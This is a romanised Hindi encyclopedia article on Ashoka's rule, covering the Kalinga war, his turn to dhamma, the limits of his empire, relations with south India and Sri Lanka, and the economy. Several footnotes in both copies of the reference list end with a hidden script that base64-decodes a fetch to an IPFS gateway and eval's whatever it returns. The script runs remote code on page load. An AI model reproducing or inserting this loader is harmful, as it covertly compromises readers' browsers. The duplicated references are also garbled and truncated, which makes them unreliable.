अशोक का शासन

ashok vishay soochi

ashok jivan parichay shasan kshetr kalakram dhamm shilalekh parivar vistrit lekh

thumb|250px|ashok ke samrajy ki sima ka manachitr samrat ashok siriya ke raja 'entiyokas dvitiy'^[1] aur kuchh any yavan^[2] rajaoan ka samasamayik tha, jinaka ullekh 'shilalekh sankhya 8' mean hai. isase vidit hota hai ki ashok ne eesa poorv tisari shatabdi ke uttarardh mean rajy kiya, kiantu usake rajyabhishek ki sahi tarikh ka pata nahian chalata hai. ashok ne 40 varsh rajy kiya. isalie rajyabhishek ke samay vah yuvak hi raha hoga. ashok ke rajyakal ke prarambhik 12 varshoan ka koee sunishchit vivaran upalabdh nahian hai. ^[3]

ashok shasak ke roop mean

shasak sangathan ka praroop lagabhag vahi tha jo chandragupt maury ke samay mean tha. ashok ke abhilekhoan mean kee adhikariyoan ka ullekh milata hai. jaise rajuku, pradeshik, yukt adi. inamean adhikaansh rajyadhikari chandragupt ke samay se chale a rahe the. ashok ne dharmik niti tatha praja ke kalyan ki bhavana se prerit hokar unake kartavyoan mean vistar kiya jisaka vivechan age kiya jaega. keval dhamm mahamatroan ki niyukti ek navin prakar ki niyukti thi.

takshashila aur kaliang par vijay

apane rajyabhishek ke navean varsh tak ashok ne maury samrajy ki paramparagat niti ka hi anusaran kiya. ashok ne desh ke andar samrajy ka vistar kiya kintu doosare deshoan ke sath maitripoorn vyavahar ki niti apanaee.^[4]

bharat ke andar ashok ek vijeta raha. usane khas, nepal ko vijit kiya aur takshashila ke vidroh ka shant kiya. apane rajyabhishek ke navean varsh mean ashok ne kaliang par vijay prapt ki. aisa pratit hota hai ki nand vansh ke patan ke bad kaliang svatantr ho gaya tha. plini ki pustak mean uddhrit megasthaniz ke vivaran ke anusar chandragupt ke samay mean kaliang ek svatantr rajy tha. ashok ke shilalekh ke anusar yuddh mean mare ge tatha qaid kie hue sipahiyoan ki sankhya dhaee lakh thi aur isase bhi kee guna sipahi yuddh mean ghayal hue the. magadh ki simaoan se ju de hue aise shaktishali rajy ki sthiti ke prati magadh shasak udasin nahian rah sakata tha. kharavel ke samay magadh ko kaliang ki shakti ka katu anubhav tha. suraksha ki drishti se kaliang ka jitana avashyak tha. kuchh itihasakaroan ke anusar kaliang ko jitane ka doosara karan bhi tha. dakshin ke sath sidhe sampark ke lie samudri aur sthal marg par mauryoan ka niyantran avashyak tha. kaliang yadi svatantr desh rahata to samudri aur sthal marg se hone vale vyapar mean rukavat p d sakati thi. atah kaliang ko magadh samrajy mean milana avashyak tha. kintu yah koee prabal karan pratit nahian hota kyoanki is drishti se to chandragupt ke samay se hi kaliang ko magadh samrajy mean mila lena chahie tha. kautily ke vivaran se spasht hai ki vah dakshin ke sath vyapar ko mahattv deta tha. vijit kaliang rajy magadh samrajy ka ek aang ho gaya. rajavansh ka koee rajakumar vahaan vaisaray^[5] niyukt kar diya gaya. tosali is prant ki rajadhani banaee gee.^[4]

kaliang yuddh

kaliang yuddh mean hue narasanhar tatha vijit desh ki janata ke kasht se ashok ki aantaratma ko tivr aghat pahuancha.^[4] 260 ee. poo. mean ashok ne kaliangavasiyoan par akraman kiya, unhean poori tarah kuchalakar rakh diya. maury samrat ke shabdoan mean, 'is l daee ke karan 1,50,000 adami visthapit ho ge, 1,00,000 vyakti mare ge aur isase kee guna nasht ho ge....'. yuddh ki vinashalila ne samrat ko shokakul bana diya aur vah prayashchitt karane ke prayatn mean bauddh vicharadhara ki or akarshit hua.^[6]

ashok ka hriday parivartan

yuddh ki bhishanata ka ashok par gahara prabhav p da.^[7] ashok ne yuddh ki niti ko sada ke lie tyag diya aur 'digvijay' ke sthan par 'dhamm vijay' ki niti ko apanaya. d aau. hemachandr rayachaudhari ke anusar magadh ka samrat banane ke bad yah ashok ka pratham tatha antim yuddh tha. isake bad magadh ki vijayoan tatha rajy-vistar ka yah yug samapt hua jisaka sootrapat bianbisar ki aang vijay ke bad hua tha. ab ek ne yug arambh hua. yah yug shanti, samajik pragati tatha dharmaprachar ka tha, kintu isake sath-sath rajanitik gatirodh aur samarik kushalata bhi dikhaee dene lagi. sainik abhyas ke abhav mean magadh ka samarik avesh aur utsah kshin hone laga.^[4] kaliang ki praja tatha kaliang ki sima par rahane vale logoan ke prati kaisa vyavahar kiya jae, is sambandh mean ashok ne do adesh jari kie. ye do adesh dhauli aur jaug d namak sthanoan par surakshit haian. ye adesh tosali aur samapa ke mahamatyoan tatha uchch adhikariyoan ko sambodhit karate hue likhe ge haian - "samrat ka adesh hai ki praja ke sath putravath vyavahar ho, janata ko pyar kiya jae, akaran logoan ko karavas ka dand tatha yatana n di jae. janata ke sath nyay kiya jana chahie. simaant jatiyoan ko ashvasan diya gaya ki unhean samrat se koee bhay nahian karana chahie. unhean raja ke sath vyavahar karane se sukh hi milega, kasht nahian. raja yathashakti unhean kshama karega, ve dhamm ka palan karean. yahaan par unhean sukh milega aur mrityu ke bad svarg."

samrajy ki sima

chitr:Blockquote-open.gif har dasha mean doosare sampradayoan ka adar karana hi chahie. aisa karane se manushy apane sampraday ki unnati aur doosare sampradayoan ka upakar karata hai. isake viparit jo karata hai vah apane sampraday ki (j d) katata hai aur doosare sampradayoan ka bhi apakar karata hai. kyoanki jo apane sampraday ki bhakti mean akar is vichar se ki mere sampraday ka gaurav badhe, apane sampraday ki prashansa karata hai aur doosare sampraday ki ninda karata hai, vah aisa karake vastav mean apane sampraday ko hi gahari hani pahuanchata hai. isalie samavay (paraspar melajol se rahana) hi achchha hai arthath log ek-doosare ke dharm ko dhyan dekar sunean aur usaki seva karean. - samrat ashok mahan^[8] chitr:Blockquote-close.gif

dakshin bharat mean ashok

dakshin mean maury prabhav ke prasar ki jo prakriya chandragupt maury ke kal mean arambh huee, vah ashok ke netritv mean aur bhi adhik pusht huee. lagata hai ki chandragupt ki sainik prasar ki niti ne vah sthayi saphalata nahian prapt ki, jo ashok ki dhamm vijay ne ki thi. gavimath, brahmagiri, maski, yerragundi, jatiang rameshvar adi sthaloan par sthit ashok ke shilalekh isake praman haian. aur phir parivarti kalin sahity mean, vishesh roop se dakshin mean ashokaraj ki parampara kafi prachalit pratit hoti hai. hyoonatsaang ne to chol-pady rajyoan mean (jinhean svayan ashok ke shilalekh 2 evan 13 mean simavarti pradesh bataya gaya hai) bhi ashokaraj ke dvara nirmit anek stoopoan ka varnan kiya hai. yah sambhav hai ki kaliang mean ashok ki sainik vijay aur phir usake pashchath unake sauhardapoorn niti ne bhoj, pattanik, aandhroan, rashtrikoan, satiyaputroan evan keralaputroan jaisi shaktiyoan ke bich maury prabhav ke prasar ko badhaya hoga. dakshin disha mean ashok ko sarvadhik saphalata tamraparni mean mili. vahaan ka raja tiss to ashok se itana prabhavit tha ki usane bhi devanampriy ki upadhi dharan kar li. apane doosare rajyabhishek mean usane ashok ko vishesh nimantran bheja. jisake phalasvaroop sambhavatah ashok ka putr mahendr bodhivriksh ki paudh lekar pahuancha. shrilanka mean yah bauddh dharm ka padarpan tha. shrilanka ke prachinatam abhilekh tiss ke uttaradhikari uttiy ke kal ke haian. jo apani prakrit bhasha evan shaili ki drishti se spashtatah ashok ke abhilekhoan se prabhavit hai. ashok aur shrilanka ke sambandh parasparik sadabhav, adar-samman evan barabari par adharit the n ki samrajyik shakti evan ashrit shakti ke parasparik sambandhoan par.

uparyukt videshi shaktiyoan ke atirikt kuchh kshetr aise bhi haian jinake sambandh mean kuchh paramparaean evan kianvadantiyaan prapt haian. udaharanarth kashmir sambhavatah any simavarti pradeshoan ki tarah hi ashok ke samrajy se ju da tha. madhy eshiya mean sthit khotan ke rajy ke bare mean ek tibbati parampara hai ki buddh ki mrityu ke 250 varsh ke bad arthath ee. poo. 236 mean ashok khotan gaya tha. sambhavatah yah bhi dhamm mishan ke roop mean hua hoga kintu yah drishtavy hai ki svayan ashok ke abhilekhoan mean isaka koee ullekh nahian hai. isi prakar nepal ka kuchh aansh ashok ki yatra ke upalakshy mean vahaan ke karoan ko kam karana kisi videshi rajy mean sambhav nahian tha. phir bhi nepal ka shesh aansh sambhavatah maury samrajy se ghanishth sambandh banae hue hoga.

arthavyavastha

tisari shatabdi eesa poorv tak uttari bharat ki arthavyavastha mukhyat: krishi pradhan ho gee thi. bhoo-rajasv sarakar ki ay ka sarvamany srot ban chuka tha aur yah mahasoos kiya jane laga ki krishi-arthavyavastha ka vistar hone par niyamit karadhan se rajasv mean bhi sunishchitt vriddhi hogi. adhikaansh janasankhya krishak thi aur gaanv mean rahati thi. raja aur rajy ka bhed uttarottar mitata ja raha tha.^[9]

rajyoan se sanbandh

[[chitr:Asoka's-Pillar.jpg|thumb|220px|ashok ka stambh, vaishali]] yadyapi ashok ka samrajy vistrit tha tathapi samrajy ke aantargat sabhi deshoan par usaka sidha shasan tha. ashok ke paanchave aur terahavean shilalekh mean kuchh janapadoan tatha jatiyoan ka ullekh kiya gaya hai. jaise yavan, kamboj, nabhak, nabhapankti, bhoj, pitanik, andhr, puliand. repsan ka vichar hai ki ye desh tatha jatiyaan ashok dvara jite ge rajy ke aantargat n hokar prabhavakshetr mean the.^[10] kintu yah sahi pratit nahian hota hai. kyoanki in pradeshoan mean ashok ke dharm mahamatroan ke niyukt kie jane ka ullekh hai. d aau. rayachaudhari ke anusar in logoan ke sath vijitoan tatha aantaravijitoan^[11] ke bich ka vyavahar kiya jata tha. gaandhar, yavan, kamboj, uttar-pashchimi simaant pradesh mean the. bhoj, rashtrik, pitanik sambhavatah aparant pashchimi sima mean the. 13vean shilalekh mean ashok ne atavi jatiyoan ka ullekh kiya hai, jo aparadh karate the. unhean yathasambhav kshama karane ka ashvasan diya gaya hai. kintu sath hi yah chetavani bhi di hai ki anutap arthath pashchatap mean bhi 'devanampriy' ka prabhav hai. yadi ye jatiyaan kathinaiyaan utpann karean to raja ko unhean saza dene tatha marane ki shakti bhi hai. sambhavatah yah 'atavi pradesh' buandelakhand se lekar u disa tak phaila hua tha. ye atavi jatiyaan yadyapi parajit hueean thian, tathapi unaki aantarik svatantrata ko manyata de di gee thi.

tika tippani aur sandarbh

↑ 261 - 246 eesa poo.
↑ yoonani
↑ bhattachary, sachidanand bharatiy itihas kosh (hiandi). lakhanoo: uttarapradesh hiandi sansthan, 26.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ ^4.0 ^4.1 ^4.2 ^4.3 dvijendr narayan jha, krishna mohan shrimali “mauryakal”, prachin bharat ka itihas, dvitiy sanskaran (hiandi), dilli: hiandi madhyam karyaanvay nideshalay, 178.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ uparaja
↑ 'bharat ka itihas' | lekhika: romila thapar | prakashak: rajakamal prakashan | prishth sankhya: 63
↑ senart (ianskripshanas etase, pri. 101) ne ek manoranjak sujhav diya hai ki is yuddh mean jitani kroorata huee thi, usi ke karan ashok ne bauddh dharm svikar kiya. shayad isi ke adhar par 'chandashok' ke atyachar ki kahaniyaan chal nikalian.
↑ giranar ka barahavaan shilalekh "ashok ke dharm lekh" se prishth san- 31
↑ 'bharat ka itihas' | lekhika: romila thapar | prakashak: rajakamal prakashan | prishth sankhya: 66
↑ repsan, ee.je.. Ancient India: From the Earliest Times to the First Century AD (aangrezi). .
↑ arthath svatantr simavarti rajyoan

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] 261 - 246 eesa poo.

[2] yoonani

[3] ttachary, sachidanand bharatiy itihas kosh (hiandi). lakhanoo: uttarapradesh hiandi sansthan, 26.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[srimali-4] 4.0 ^4.1 ^4.2 ^4.3 dvijendr narayan jha, krishna mohan shrimali “mauryakal”, prachin bharat ka itihas, dvitiy sanskaran (hiandi), dilli: hiandi madhyam karyaanvay nideshalay, 178.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[5] uparaja

[6] 'bharat ka itihas' | lekhika: romila thapar | prakashak: rajakamal prakashan | prishth sankhya: 63

[7] senart (ianskripshanas etase, pri. 101) ne ek manoranjak sujhav diya hai ki is yuddh mean jitani kroorata huee thi, usi ke karan ashok ne bauddh dharm svikar kiya. shayad isi ke adhar par 'chandashok' ke atyachar ki kahaniyaan chal nikalian.

[8] ranar ka barahavaan shilalekh "ashok ke dharm lekh" se prishth san- 31

[9] 'bharat ka itihas' | lekhika: romila thapar | prakashak: rajakamal prakashan | prishth sankhya: 66

[10] repsan, ee.je.. Ancient India: From the Earliest Times to the First Century AD (aangrezi). .

[11] rthath svatantr simavarti rajyoan

[1]

[2]

[3]

[4]

[5]

[6]

[7]

[8]

[9]

[10]

[11]